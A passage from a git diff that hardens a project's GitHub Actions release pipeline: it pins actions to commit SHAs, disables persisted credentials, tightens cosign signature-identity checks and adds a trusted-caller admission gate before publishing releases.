Enabling that organization-wide policy requires separate owner approval.", + "safe_state": "No main-ruleset bypass actor is configured, no release-manifests write secret exists, and Version/Release remain disabled." } } diff --git a/.github/ISSUE_TEMPLATE/signing-key-fingerprint.md b/.github/ISSUE_TEMPLATE/signing-key-fingerprint.md index 0eaef44e1..6f23665bb 100644 --- a/.github/ISSUE_TEMPLATE/signing-key-fingerprint.md +++ b/.github/ISSUE_TEMPLATE/signing-key-fingerprint.md @@ -31,7 +31,7 @@ assignees: [] ## Current Certificate-Identity Pin ``` -certificate-identity-regexp: ^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@ +certificate-identity-regexp: ^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$ certificate-oidc-issuer: https://token.actions.githubusercontent.com provenance source-uri: github.com/automagik-dev/genie ``` @@ -52,9 +52,8 @@ Operators MUST verify the values above match all three channels: - [ ] `/.well-known/security.txt` on the project site - [ ] This pinned issue -If any channel diverges, treat the release as unsigned and follow the -`--unsafe-unverified ` contract documented in -`src/sec/unsafe-verify.ts`. +If any channel diverges, treat the release as unverified, do not install or run +it, preserve the evidence, and contact the security address in `SECURITY.md`. ## Previous Pinning @@ -66,25 +65,25 @@ If any channel diverges, treat the release as unsigned and follow the ```bash # Cosign keyless verification (sole verification path) cosign verify-blob \ - --certificate-identity-regexp "^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@" \ + --certificate-identity-regexp "^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$" \ --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ - --signature .sig \ - --certificate .cert \ - + --bundle genie-5.260715.1-darwin-arm64.tar.gz.bundle \ + genie-5.260715.1-darwin-arm64.tar.gz # SLSA provenance verification -slsa-verifier verify-artifact \ - --provenance-path provenance.intoto.jsonl \ +slsa-verifier verify-artifact genie-5.260715.1-darwin-arm64.tar.gz \ + --provenance-path genie-5.260715.1-darwin-arm64.tar.gz.intoto.jsonl \ --source-uri github.com/automagik-dev/genie -# End-to-end -genie sec verify-install +# Canonical end-to-end wrapper (download by tag or verify local sidecars) +scripts/verify-release.sh v5.260715.1 +scripts/verify-release.sh --local genie-5.260715.1-darwin-arm64.tar.gz ``` ## Reporting a Suspected Compromise If the certificate-identity or OIDC issuer appears altered, or a release verifies under an identity that does NOT appear here, email -`security@namastex.com` immediately. Do NOT run `genie sec remediate --apply` -against any host until a new pinning issue is filed and the three channels -re-converge. +`privacidade@namastex.ai` immediately. Do not install or execute the suspect +artifact; preserve it as evidence until a new pinning issue is filed and the +six required witnesses re-converge. diff --git a/.github/actions/ggshield/action.yml b/.github/actions/ggshield/action.yml new file mode 100644 index 000000000..29a9aed19 --- /dev/null +++ b/.github/actions/ggshield/action.yml @@ -0,0 +1,14 @@ +name: GitGuardian Shield (digest pinned) +description: Scan commits with the repository-approved immutable ggshield image. + +inputs: + args: + description: Arguments passed to ggshield secret scan ci. + required: false + +runs: + using: docker + image: docker://gitguardian/ggshield@sha256:11057725f4a47b587735351b69b1873435bf393050f946916ef05b1b0c4b1cf4 + entrypoint: /app/docker/actions-secret-entrypoint.sh + args: + - ${{ inputs.args }} diff --git a/.github/cosign.pub b/.github/cosign.pub index b38691781..ba5567d5c 100644 --- a/.github/cosign.pub +++ b/.github/cosign.pub @@ -9,13 +9,13 @@ GitHub Actions OIDC identity and verification pins the certificate identity + OIDC issuer, not a key fingerprint. Verification contract: - - certificate-identity-regexp: ^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@ + - certificate-identity-regexp: ^https://github\.com/automagik-dev/genie/\.github/workflows/sign-attest\.yml@refs/heads/main$ - certificate-oidc-issuer: https://token.actions.githubusercontent.com - provenance source-uri: github.com/automagik-dev/genie Any tool that loads this file expecting a PEM-encoded public key MUST -fail closed. `genie sec verify-install` treats the sentinel string above -as exit code 5 (no signature material found) and refuses to verify. +fail closed. The current CLI has no `genie sec` command; this sentinel +must never be interpreted as signature material. Operators verifying a release locally use scripts/verify-release.sh, which relies exclusively on the keyless contract and never reads this diff --git a/.github/workflows/audit-next-tag.yml b/.github/workflows/audit-next-tag.yml index 037c3fbc6..3dea91bd6 100644 --- a/.github/workflows/audit-next-tag.yml +++ b/.github/workflows/audit-next-tag.yml @@ -41,12 +41,13 @@ jobs: steps: - name: Checkout (with tags) - uses: actions/checkout@v5 + uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: fetch-depth: 0 + persist-credentials: false - name: Setup Node (for npm) - uses: actions/setup-node@v5 + uses: actions/setup-node@a0853c24544627f65ddf259abe73b1d18a591444 # v5 with: node-version: '22' diff --git a/.github/workflows/build-tarballs.yml b/.github/workflows/build-tarballs.yml index 8cb6d3682..162b33915 100644 --- a/.github/workflows/build-tarballs.yml +++ b/.github/workflows/build-tarballs.yml @@ -29,21 +29,18 @@ name: Build Tarballs # 2022; Intel-Mac users run via Rosetta or the linux-x64 path under Docker. on: - # No `push: tags: ['v*']` — release.yml is the only tag entry-point. A - # tag-push would otherwise fire BOTH release.yml (orchestrator) and this - # workflow standalone, causing duplicate artifact uploads with the same - # name and wasted runner minutes. Tag-triggered execution flows - # exclusively through release.yml's workflow_call invocation below. - workflow_dispatch: + # Privileged release builds enter only through trusted release.yml. The + # source checkout is an explicit CI-approved SHA; github.ref remains main. + workflow_call: inputs: version: - description: 'Version override (default: package.json)' - required: false + description: 'Version stamped into the release payload' + required: true + type: string + source_sha: + description: 'Exact CI-approved source commit to build' + required: true type: string - # Reusable from release.yml orchestrator. No inputs/outputs — version - # derives from package.json at build time; artifacts pass via the - # run-shared store (see actions/upload-artifact / download-artifact). - workflow_call: {} pull_request: paths: - 'src/**' @@ -70,39 +67,14 @@ on: - '.github/workflows/build-tarballs.yml' concurrency: - group: build-tarballs-${{ github.ref }} - cancel-in-progress: true + group: build-tarballs-${{ inputs.source_sha || github.ref }} + cancel-in-progress: false permissions: contents: read jobs: - # F16 gate (wish stable-release-security-gate): the standalone - # workflow_dispatch entry is stable-capable (its tarballs feed sign + publish), - # so a manual dispatch must target a protected `v` tag, never a - # free-form branch. The `pull_request` and orchestrated `workflow_call` paths - # are exempt — the guard no-ops for them. github.event_name inside a - # release.yml-dispatched workflow_call is `workflow_dispatch`, and release.yml - # is always dispatched on the tag, so the orchestrated dev/stable flow passes. - guard: - name: Guard standalone dispatch - runs-on: ubuntu-latest - timeout-minutes: 5 - permissions: - contents: read - steps: - - uses: actions/checkout@v5 - - name: Require a protected tag for standalone dispatch - shell: bash - run: bash scripts/release-guard.sh require-dispatch-tag - env: - EVENT: ${{ github.event_name }} - REF: ${{ github.ref }} - VERSION: ${{ inputs.version }} - CHANNEL: '' - build: - needs: guard name: Build ${{ matrix.platform }} runs-on: ${{ matrix.runner }} timeout-minutes: 30 @@ -120,7 +92,11 @@ jobs: runner: macos-latest steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + # pull_request runs have no workflow_call inputs; release calls do. + ref: ${{ inputs.source_sha || github.sha }} + persist-credentials: false - name: Setup Bun uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 @@ -128,7 +104,7 @@ jobs: bun-version: 1.3.11 - name: Setup Node.js - uses: actions/setup-node@v5 + uses: actions/setup-node@a0853c24544627f65ddf259abe73b1d18a591444 # v5 with: node-version: '22' @@ -139,20 +115,33 @@ jobs: - name: Resolve version id: ver shell: bash + env: + INPUT_VERSION: ${{ inputs.version }} run: | - if [[ -n "${{ inputs.version }}" ]]; then - VERSION="${{ inputs.version }}" - elif [[ "${GITHUB_REF_TYPE}" == "tag" ]]; then - VERSION="${GITHUB_REF_NAME#v}" + set -euo pipefail + PACKAGE_VERSION="$(node -p "require('./package.json').version")" + if [[ -n "${INPUT_VERSION}" ]]; then + VERSION="${INPUT_VERSION}" else - VERSION=$(node -p "require('./package.json').version") + VERSION="${PACKAGE_VERSION}" + fi + [[ "${VERSION}" =~ ^[0-9]+\.[0-9]+\.[0-9]+([-+][0-9A-Za-z.-]+)?$ ]] || { + echo "::error::invalid release version '${VERSION}'" + exit 1 + } + if [[ "${VERSION}" != "${PACKAGE_VERSION}" ]]; then + echo "::error::requested release version '${VERSION}' does not match source package '${PACKAGE_VERSION}'" + exit 1 fi echo "version=${VERSION}" >> "$GITHUB_OUTPUT" echo "Resolved version: ${VERSION}" - name: Build tarball shell: bash - run: bash scripts/build-binary.sh --platform ${{ matrix.platform }} --version ${{ steps.ver.outputs.version }} + env: + PLATFORM: ${{ matrix.platform }} + VERSION: ${{ steps.ver.outputs.version }} + run: bash scripts/build-binary.sh --platform "${PLATFORM}" --version "${VERSION}" - name: Smoke test (extract + --version on linux runners) if: matrix.platform == 'linux-x64-glibc' || matrix.platform == 'linux-arm64' @@ -170,6 +159,7 @@ jobs: exit 1 fi "${STAGE}/genie" --help >/dev/null + "${STAGE}/genie" __install-promote --self-test >/dev/null echo "smoke ok: --version=${ACTUAL}; --help exit 0" - name: Smoke test (musl binary in alpine container) @@ -193,6 +183,7 @@ jobs: exit 1 fi /app/genie --help >/dev/null + /app/genie __install-promote --self-test >/dev/null echo "smoke ok (alpine): --version=${ACTUAL}; --help exit 0" ' @@ -212,6 +203,7 @@ jobs: exit 1 fi "${STAGE}/genie" --help >/dev/null + "${STAGE}/genie" __install-promote --self-test >/dev/null echo "smoke ok: --version=${ACTUAL}; --help exit 0" - name: Verify size budget (≤80 MB compressed) @@ -226,7 +218,7 @@ jobs: fi - name: Upload tarball artifact - uses: actions/upload-artifact@v5 + uses: actions/upload-artifact@330a01c490aca151604b8cf639adc76d48f6c5d4 # v5 with: name: genie-${{ steps.ver.outputs.version }}-${{ matrix.platform }}-tarball path: dist/genie-${{ steps.ver.outputs.version }}-${{ matrix.platform }}.tar.gz diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index aeacf229c..ed04642db 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -2,9 +2,14 @@ name: CI on: push: - branches: [main, dev] + branches: [main, homolog, dev] pull_request: - branches: [main, dev] + branches: [main, homolog, dev] + # version.yml pushes its deterministic child with GITHUB_TOKEN, so GitHub + # intentionally suppresses push/pull_request recursion. It dispatches this + # read-only gate against the child's immutable v ref explicitly; + # the resulting checks attach to the exact promotion commit. + workflow_dispatch: # Group the CI jobs under a single ref-scoped key so a new push cancels the # full gate in one sweep rather than leaving a stale job running. @@ -26,11 +31,12 @@ jobs: if: ${{ github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository }} steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: fetch-depth: 0 + persist-credentials: false - - uses: GitGuardian/ggshield-action@da20be06cafe5e8633dc24744efe1efe8d30f06b # v1 + - uses: ./.github/actions/ggshield if: ${{ env.GITGUARDIAN_API_KEY != '' }} env: GITHUB_PUSH_BEFORE_SHA: ${{ github.event.before }} @@ -49,9 +55,10 @@ jobs: timeout-minutes: 10 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: submodules: recursive + persist-credentials: false - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: @@ -110,9 +117,10 @@ jobs: timeout-minutes: 10 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: submodules: recursive + persist-credentials: false - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: @@ -140,13 +148,15 @@ jobs: timeout-minutes: 10 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + persist-credentials: false - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: "1.3.11" - - uses: actions/setup-node@v5 + - uses: actions/setup-node@a0853c24544627f65ddf259abe73b1d18a591444 # v5 with: node-version: "22" diff --git a/.github/workflows/commitlint.yml b/.github/workflows/commitlint.yml index dc1c40be0..f41f0ef8c 100644 --- a/.github/workflows/commitlint.yml +++ b/.github/workflows/commitlint.yml @@ -10,16 +10,37 @@ concurrency: group: commitlint-${{ github.ref }} cancel-in-progress: true +permissions: + contents: read + jobs: commitlint: name: Commit Messages runs-on: blacksmith-4vcpu-ubuntu-2404 timeout-minutes: 5 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: fetch-depth: 0 + persist-credentials: false - - uses: wagoid/commitlint-github-action@v6 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: - configFile: commitlint.config.ts + bun-version: "1.3.11" + + - name: Install locked commitlint tooling + run: bun install --frozen-lockfile --ignore-scripts + + - name: Lint the exact pushed commit range + env: + BASE_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.base.sha || github.event.before }} + HEAD_SHA: ${{ github.event_name == 'pull_request' && github.event.pull_request.head.sha || github.sha }} + run: | + set -euo pipefail + [[ "$BASE_SHA" =~ ^[0-9a-f]{40}$ && "$HEAD_SHA" =~ ^[0-9a-f]{40}$ ]] || { + echo "invalid commit range" >&2 + exit 2 + } + git cat-file -e "${BASE_SHA}^{commit}" + git cat-file -e "${HEAD_SHA}^{commit}" + bun x --no-install commitlint --config commitlint.config.ts --from "$BASE_SHA" --to "$HEAD_SHA" --verbose diff --git a/.github/workflows/docs-lint.yml b/.github/workflows/docs-lint.yml index 9087391b9..ac96623cd 100644 --- a/.github/workflows/docs-lint.yml +++ b/.github/workflows/docs-lint.yml @@ -38,6 +38,9 @@ concurrency: group: docs-lint-${{ github.ref }} cancel-in-progress: true +permissions: + contents: read + jobs: markdownlint: name: markdownlint-cli2 @@ -45,19 +48,20 @@ jobs: timeout-minutes: 5 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: submodules: recursive + persist-credentials: false - - uses: oven-sh/setup-bun@v2 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: "1.3.11" + - name: Install locked docs tooling + run: bun install --frozen-lockfile --ignore-scripts + - name: Lint SECURITY.md + runbook - run: | - bunx markdownlint-cli2 \ - "SECURITY.md" \ - "docs/incident-response/canisterworm.mdx" + run: bun run lint:docs-markdown link-check: name: markdown-link-check @@ -65,15 +69,17 @@ jobs: timeout-minutes: 10 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 with: submodules: recursive + persist-credentials: false - - uses: oven-sh/setup-bun@v2 + - uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2 with: bun-version: "1.3.11" + - name: Install locked docs tooling + run: bun install --frozen-lockfile --ignore-scripts + - name: Verify links in SECURITY.md + runbook - run: | - bunx markdown-link-check --config .github/markdown-link-check.json SECURITY.md - bunx markdown-link-check --config .github/markdown-link-check.json docs/incident-response/canisterworm.mdx + run: bun run lint:docs-links diff --git a/.github/workflows/release-orphan-alert.yml b/.github/workflows/release-orphan-alert.yml index fd4d08b33..a505775c4 100644 --- a/.github/workflows/release-orphan-alert.yml +++ b/.github/workflows/release-orphan-alert.yml @@ -43,7 +43,9 @@ jobs: runs-on: ubuntu-latest timeout-minutes: 5 steps: - - uses: actions/checkout@v5 + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + persist-credentials: false - name: Scan tags vs releases env: diff --git a/.github/workflows/release-publish.yml b/.github/workflows/release-publish.yml index bbe95b764..859d5b42c 100644 --- a/.github/workflows/release-publish.yml +++ b/.github/workflows/release-publish.yml @@ -2,7 +2,7 @@ name: Release Publish # Group 3 of genie-distribution-cutover — attaches the signed tarballs + # cosign bundles + SLSA attestations produced by sign-attest.yml to the -# v GitHub Release, and (for stable, non-draft tag pushes) writes +# v GitHub Release, and (for non-draft trusted releases) writes # .well-known/latest.json into the repo so install.sh + `genie update` can # resolve the latest version per channel without a CDN. # @@ -10,14 +10,11 @@ name: Release Publish # is free, maintained by GitHub, and `gh attestation verify` reads cosign # signatures from Sigstore Rekor without any custom verification server. # -# Trigger chain (adapted for Sign + Attest upstream): -# tag push v* → Build Tarballs → Sign + Attest Tarballs → THIS workflow -# (workflow_run, success only) -# -# workflow_dispatch is the manual override for re-publishing or promoting -# a draft release; it requires the upstream sign-attest run-id so the -# 12 signed assets (4 platforms × {tarball, bundle, intoto.jsonl}) can -# be downloaded from that run. +# Trigger chain: +# guarded release.yml@main (stable) OR version.yml@main (dev/homolog) +# → Build Tarballs → Sign + Attest → THIS +# All artifacts are from one workflow run; there is no standalone dispatch or +# external run-id recovery path. # # Verification by consumers: # gh release download v --repo automagik-dev/genie --pattern '*.tar.gz' @@ -25,16 +22,13 @@ name: Release Publish # # OR via cosign: # cosign verify-blob \ # --bundle genie--.tar.gz.bundle \ -# --certificate-identity-regexp "^https://github.com/automagik-dev/genie/.github/workflows/sign-attest.yml@" \ +# --certificate-identity-regexp "^https://github\\.com/automagik-dev/genie/\\.github/workflows/sign-attest\\.yml@refs/heads/main$" \ # --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \ # genie--.tar.gz on: - # Reusable from release.yml orchestrator. The orchestrator drives the full - # build → sign → publish chain in one run, so signed artifacts pass via the - # run-shared store (no run_id input). draft defaults to false here because - # the orchestrator path is the production-safe automated path; the - # workflow_dispatch escape hatch keeps draft=true for replay safety. + # Reusable only from the trusted main-controlled release chain. Stable manual + # recovery routes through release.yml; dev/homolog route through version.yml. workflow_call: inputs: version: @@ -42,7 +36,7 @@ on: required: true type: string channel: - description: 'Release channel (stable / beta / canary)' + description: 'Release channel (stable / homolog / dev)' required: false type: string default: stable @@ -51,129 +45,83 @@ on: required: false type: boolean default: false - # Manual-recovery escape hatch — operators can re-publish from a stranded - # sign-attest run by passing version + run_id explicitly. draft defaults - # to true here so a replay never auto-promotes by accident. - workflow_dispatch: - inputs: - version: - description: 'Version to publish (must match upstream artifact version)' - required: true - type: string - run_id: - description: 'sign-attest.yml run ID to download signed artifacts from' - required: true - type: string - channel: - description: 'Release channel (stable = no --prerelease; homolog/dev = --prerelease)' - required: true - type: choice - # Defensive default (wish stable-release-security-gate, F16): a careless - # standalone dispatch defaults to the prerelease `dev` channel, NOT - # `stable`. Standalone publish is a break-glass replay path — reaching - # the stable channel + production environment must be a deliberate - # operator choice on a protected tag, never the fall-through default. - default: dev - # Canonical channel taxonomy (Felipe directive 2026-05-12, - # unified across the automagik sibling projects). beta + canary retired. - options: - - stable - - homolog - - dev - draft: - description: 'Create as draft (require manual promotion)?' - required: true - type: boolean - default: true concurrency: - group: release-publish-${{ github.ref }}-${{ inputs.version || github.sha }} + # Only publication is globally serialized. Approval/build/sign jobs for other + # versions remain parallel, while manifest selection cannot reorder. + group: release-publish + queue: max cancel-in-progress: false # never cancel an in-flight publish permissions: - contents: write # gh release create/upload + push latest.json commit + contents: read # each privileged job narrows/elevates explicitly + attestations: read # verify any complete published inventory before reuse jobs: - # F16/F17 gate (wish stable-release-security-gate). The standalone - # workflow_dispatch here is a direct stable-publish path that bypasses the - # orchestrator, so it must target a protected `v` tag and its - # break-glass `run_id` must resolve to a SUCCESSFUL sign-attest run on the SAME - # repo, workflow, tag ref, and head SHA. The orchestrated workflow_call passes - # no run_id (provenance no-op) and inherits the tag ref, so dev/stable releases - # driven by release.yml are never blocked. Logic lives in - # scripts/release-guard.sh so it is unit-tested rather than an inline `${{ }}`. - guard: - name: Guard dispatch + upstream provenance + # contents:write is useful only after the reusable workflow proves its + # caller. A dev workflow calling release-publish.yml@main must not inherit a + # trusted publisher merely because the called file itself lives on main. + admit: + name: Admit trusted release orchestrator runs-on: ubuntu-latest - timeout-minutes: 5 - permissions: - contents: read - actions: read # gh api reads the upstream sign-attest run record + timeout-minutes: 2 + permissions: {} steps: - - uses: actions/checkout@v5 - - name: Require a protected tag for standalone dispatch + - name: Bind caller workflow and control commit shell: bash - run: bash scripts/release-guard.sh require-dispatch-tag env: - EVENT: ${{ github.event_name }} - REF: ${{ github.ref }} - VERSION: ${{ inputs.version }} - CHANNEL: ${{ inputs.channel }} - - name: Bind break-glass run_id to the upstream sign-attest identity - shell: bash - run: bash scripts/release-guard.sh guard-run-provenance - env: - RUN_ID: ${{ inputs.run_id }} - EXPECTED_REPO: ${{ github.repository }} - EXPECTED_WORKFLOW: .github/workflows/sign-attest.yml - EXPECTED_REF: ${{ github.ref }} - EXPECTED_SHA: ${{ github.sha }} - EXPECTED_VERSION: ${{ inputs.version }} - GH_TOKEN: ${{ github.token }} + CALLER_EVENT: ${{ github.event_name }} + CALLER_REF: ${{ github.ref }} + CALLER_SHA: ${{ github.sha }} + CALLER_WORKFLOW_REF: ${{ github.workflow_ref }} + CALLER_WORKFLOW_SHA: ${{ github.workflow_sha }} + EXPECTED_STABLE_CALLER: automagik-dev/genie/.github/workflows/release.yml@refs/heads/main + EXPECTED_AUTOMATED_CALLER: automagik-dev/genie/.github/workflows/version.yml@refs/heads/main + INPUT_CHANNEL: ${{ inputs.channel }} + run: | + set -euo pipefail + case "$INPUT_CHANNEL" in + stable) + EXPECTED_EVENT=workflow_dispatch + EXPECTED_CALLER="$EXPECTED_STABLE_CALLER" + ;; + homolog|dev) + EXPECTED_EVENT=workflow_run + EXPECTED_CALLER="$EXPECTED_AUTOMATED_CALLER" + ;; + *) + echo "::error ::release-caller.channel unknown channel '${INPUT_CHANNEL}'" + exit 1 + ;; + esac + if [[ "$CALLER_EVENT" != "$EXPECTED_EVENT" || + "$CALLER_REF" != refs/heads/main || + "$CALLER_WORKFLOW_REF" != "$EXPECTED_CALLER" || + "$CALLER_WORKFLOW_SHA" != "$CALLER_SHA" ]]; then + echo "::error ::release-caller.untrusted release-publish rejected caller ${CALLER_WORKFLOW_REF:-} (${CALLER_EVENT:-})" + exit 1 + fi + echo "Trusted release caller admitted at ${CALLER_SHA}" publish: - needs: [guard] name: Publish to GitHub Releases + needs: admit runs-on: ubuntu-latest - timeout-minutes: 10 - # Channel-scoped production environment (wish deliverable 6). The GitHub - # `production` environment (Group 2: independent required reviewer + - # prevent-self-review) attaches ONLY when channel == 'stable'. Dev/homolog - # resolve to an empty environment string → NO approval gate, so the HARD - # INVARIANT (dev publishes end-to-end without manual approval) holds. In the - # orchestrated path release.yml passes channel through, so a dev release - # here has inputs.channel == 'dev' and never touches production. - environment: ${{ inputs.channel == 'stable' && 'production' || '' }} + timeout-minutes: 30 + permissions: + contents: write + attestations: read steps: - - uses: actions/checkout@v5 - - - name: Resolve upstream sign-attest run-id - id: src - shell: bash - run: | - set -euo pipefail - # Resolve the upstream run-id that holds the signed artifacts: - # - workflow_dispatch break-glass: operator supplies inputs.run_id - # pointing at a prior sign-attest run. - # - workflow_call from release.yml orchestrator: sign-attest ran - # in THIS run; default to github.run_id so download-artifact pulls - # from the current run's shared artifact store. - if [[ -n "${{ inputs.run_id }}" ]]; then - RUN_ID="${{ inputs.run_id }}" - else - RUN_ID="${{ github.run_id }}" - fi - echo "run_id=${RUN_ID}" >> "$GITHUB_OUTPUT" - echo "Upstream sign-attest run-id: ${RUN_ID}" + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + persist-credentials: false - name: Download all signed artifacts (sign-attest.yml) - uses: actions/download-artifact@v4 + uses: actions/download-artifact@d3f86a106a0bac45b974a628896c90dbdf5c8093 # v4 with: pattern: genie-*-signed merge-multiple: true path: dist - run-id: ${{ steps.src.outputs.run_id }} - github-token: ${{ secrets.GITHUB_TOKEN }} - name: Resolve version + channel + asset inventory id: meta @@ -216,7 +164,15 @@ jobs: echo "=== dist/ inventory (expect 12 files: 4× tarball + 4× bundle + 4× intoto.jsonl) ===" ls -la - - name: Create or update GitHub Release with all 12 signed assets + - name: Install cosign for published-asset reuse verification + uses: sigstore/cosign-installer@398d4b0eeef1380460a10c8013a76f728fb906ac # v3 + with: + cosign-release: 'v2.4.1' + + - name: Install slsa-verifier for published-asset reuse verification + uses: slsa-framework/slsa-verifier/actions/installer@ea584f4502babc6f60d9bc799dbbb13c1caa9ee6 # v2.7.1 + + - name: Prepare draft, reconcile exact assets, and finalize non-latest env: GH_TOKEN: ${{ github.token }} VERSION: ${{ steps.meta.outputs.version }} @@ -226,26 +182,38 @@ jobs: shell: bash run: | set -euo pipefail - # Testable/idempotent create, migration-note, and promotion logic. - # The helper preserves human-authored bodies and propagates gh errors. - bash scripts/reconcile-release-note.sh - - if [[ -d dist && -n "$(ls -A dist 2>/dev/null)" ]]; then - gh release upload "v${VERSION}" \ - --repo "${{ github.repository }}" \ - --clobber \ - dist/* - else - echo "::error::dist/ is empty — nothing to upload" - exit 1 + # New releases remain draft/non-latest until all 12 exact assets are + # remotely verified. Existing complete releases are reused byte for + # byte; partial published releases and mismatches fail closed. The + # repository setting is an externally verified cutover prerequisite: + # GITHUB_TOKEN cannot read the Administration API that exposes it. + bash scripts/reconcile-release-note.sh prepare + bash scripts/reconcile-release-assets.sh + bash scripts/reconcile-release-note.sh finalize + if [[ "$DRAFT" == false ]]; then + bash scripts/release-immutability.sh release + # Re-verify the now-locked remote bytes and all three provenance + # channels. This closes the draft verification→publish TOCTOU. + bash scripts/reconcile-release-assets.sh fi - # Sanity: confirm release page now lists all 12 assets. - ASSET_COUNT=$(gh release view "v${VERSION}" --repo "${{ github.repository }}" --json assets --jq '.assets | length') - echo "v${VERSION} now lists ${ASSET_COUNT} assets" - if [[ "${ASSET_COUNT}" -lt 12 ]]; then - echo "::warning::expected 12 assets, found ${ASSET_COUNT}" - fi + manifests: + name: Advance authoritative channel manifests + needs: publish + if: ${{ !inputs.draft }} + runs-on: ubuntu-latest + timeout-minutes: 10 + environment: + # No reviewers: dev/homolog stay automatic. The environment is restricted + # to main and holds the sole write deploy key allowed through main rules. + name: release-manifests + permissions: + contents: read + steps: + - uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5 + with: + ssh-key: ${{ secrets.RELEASE_MANIFESTS_DEPLOY_KEY }} + persist-credentials: true # --------------------------------------------------------------------- # Per-channel manifest pointers — committed to main so install.sh + @@ -255,8 +223,7 @@ jobs: # Filename map (per wish release-channel-dev, 2026-05-11): # stable → latest.json (kept for back-compat with v1 manifest layout) # dev → dev.json (replaces the old "next.json" producer concept) - # beta → beta.json - # canary → canary.json + # homolog → homolog.json # # The stable-only gate that lived here through v4.260511.3 was lifted — # every non-draft publish writes the manifest(s) for the channel(s) it @@ -266,90 +233,53 @@ jobs: # writes ONLY dev.json and latest.json stays at the prior stable. # --------------------------------------------------------------------- - name: Update channel manifests (.well-known/*.json — non-draft only) - if: ${{ !inputs.draft }} env: - GH_TOKEN: ${{ github.token }} - VERSION: ${{ steps.meta.outputs.version }} - CHANNEL: ${{ steps.meta.outputs.channel }} + VERSION: ${{ inputs.version }} + CHANNEL: ${{ inputs.channel }} shell: bash run: | set -euo pipefail - # Switch to a fresh checkout of main; the workflow_run trigger - # may have checked out a tag commit (head_branch=v...). - git fetch origin main - git checkout main - git pull --ff-only origin main + git config user.name "release-bot" + git config user.email "release-bot@namastex.com" + # Preserve the helper from this admitted control commit. Each retry + # evaluates it against a freshly fetched main tree; a concurrent + # writer can cause a non-fast-forward, never a lost/downgraded update. + MANIFEST_RECONCILER="${RUNNER_TEMP}/reconcile-channel-manifests-${GITHUB_RUN_ID}-${GITHUB_RUN_ATTEMPT}.sh" + cp scripts/reconcile-channel-manifests.sh "$MANIFEST_RECONCILER" + RELEASED_AT="$(date -u +%Y-%m-%dT%H:%M:%SZ)" + manifests_reconciled=false - # stable keeps the historical filename `latest.json`; every other - # channel uses its own name. install.sh + genie update's - # `manifestUrlForChannel` consume the same convention. - # Channels to advance on this release. A stable release is also - # the latest dev release (today we have a single release pipeline - # — every release advances both pointers). Future dev-only - # releases (channel=dev with --prerelease) only advance dev.json. - # latest.json is the back-compat name for stable; dev.json is the - # new dev-channel pointer (wish release-channel-dev). - # Canonical taxonomy: stable / homolog / dev (Felipe directive - # 2026-05-12, cross-repo unified). Promotion subsumes downstream: - # - stable advances latest.json + homolog.json + dev.json - # - homolog advances homolog.json + dev.json - # - dev advances only dev.json - declare -A MANIFEST_FILES=() - case "$CHANNEL" in - stable) - MANIFEST_FILES[stable]="latest.json" - MANIFEST_FILES[homolog]="homolog.json" - MANIFEST_FILES[dev]="dev.json" - ;; - homolog) - MANIFEST_FILES[homolog]="homolog.json" - MANIFEST_FILES[dev]="dev.json" - ;; - dev) - MANIFEST_FILES[dev]="dev.json" - ;; - *) - echo "::error::unknown channel: $CHANNEL (valid: stable, homolog, dev)" - exit 1 - ;; - esac + for attempt in 1 2 3 4 5; do + git fetch origin main + git switch --detach origin/main - mkdir -p .well-known - for manifest_channel in "${!MANIFEST_FILES[@]}"; do - FILE="${MANIFEST_FILES[$manifest_channel]}" - cat > ".well-known/${FILE}" <` - # returns 0 (no diff) for *untracked* files because they aren't in - # the index at all — so the bootstrap case ("file has never existed - # on main") fell through and silently no-op'd every release until - # PR #2412 bootstrapped manually. Staging registers the path; then - # `git diff --cached --quiet HEAD --` correctly reports "differs from - # HEAD" for both new and modified files. - MANIFEST_PATHS=() - for f in "${MANIFEST_FILES[@]}"; do - MANIFEST_PATHS+=(".well-known/${f}") + # Stage the complete fixed allowlist. Staging before diff handles + # both modified and bootstrap/untracked manifests. + MANIFEST_PATHS=() + for f in latest.json homolog.json dev.json; do + [[ -f 